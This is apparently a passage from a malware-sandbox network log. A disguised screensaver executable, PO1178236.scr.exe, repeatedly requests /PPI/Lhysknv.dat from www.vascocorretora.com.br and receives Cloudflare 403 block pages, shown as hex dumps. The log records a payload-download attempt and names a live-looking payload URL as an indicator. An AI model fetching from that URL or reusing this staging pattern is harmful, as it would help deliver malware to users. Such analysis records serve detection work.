3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 66 66 65 39 37 38 38 63 36 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5ffe9788c69</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:30 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 66 66 65 39 37 38 38 63 36 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5ffe9788c69',t:'MTczNjQwNzcxMC4wMDAwMDA='};v
2025-01-09 07:28:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49747	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:31 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:31 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e6VIekoeFw3oKtHxvfEIz1PnDILLbrlIGRYtQZ%2FVx1ECahkjzVYVQzjrLzGO3bRxxVe2FpquZpNDopkBF3jXZ9zKJ3NfMphdhLO2eBpPzR19%2Bnisq0w8Eqd4bA7cXeeEjkEijMON3N25Whw7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b603bfbf426d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2521&min_rtt=2506&rtt_var=951&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1165203&cwnd=230&unsent_bytes=0&cid=513daa3bceced6a5&ts=138&x=0"
2025-01-09 07:28:31 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 30 33 62 66 62 66 34 32 36 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b603bfbf426d</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:31 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 30 33 62 66 62 66 34 32 36 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b603bfbf426d',t:'MTczNjQwNzcxMS4wMDAwMDA='};var a=d
2025-01-09 07:28:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49748	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:31 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:31 UTC	1019	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1LGoQkFB3DCGXzKJgnkpV4U8Ak%2FyFJGMZbjN3DAfID%2F6amTHyj%2B67CxjFR%2Fldpcxe4p0H6Yes6ed%2FIlLz78WDjoGJkXBKAOqjbSY%2BY%2F7emM%2Bq3HgLQzrtuu6vNkc9LxB4FjNEYGZjMY%2B%2B8br"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b607ae9c8ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=1999&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1419543&cwnd=252&unsent_bytes=0&cid=cbcb5ddad96860d2&ts=139&x=0"
2025-01-09 07:28:31 UTC	350	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 Data Ascii: red! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" conte
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 3d 22 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 Data Ascii: ="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </di
2025-01-09 07:28:31 UTC	1369	IN	Data Raw: 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 30 37 61 65 39 63 38 63 61 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 Data Ascii: nter sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b607ae9c8ca2</strong></span> <span class="cf-footer-separat
2025-01-09 07:28:31 UTC	1012	IN	Data Raw: 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 30 37 61 65 39 63 38 63 61 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 53 34 77 4d 44 Data Ascii: script> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b607ae9c8ca2',t:'MTczNjQwNzcxMS4wMD
2025-01-09 07:28:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49749	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:32 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:32 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n47sGn1%2FO1yEneYG4CpCtdmXuDfDzGj%2FFSjP%2FqHO3jagH7ds5fnPF5zee9qqVgOLf3f%2BpCTwFAYLf6RVWQF%2BKBvwDO6hi6xVfW1qAaadAuPzXJPQhdH4DAsiHWNp6UYYmFgZg4HTVhfrpzRo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b60b8ca9c43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1646&rtt_var=633&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1705607&cwnd=194&unsent_bytes=0&cid=a1ac199165801920&ts=141&x=0"
2025-01-09 07:28:32 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:32 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
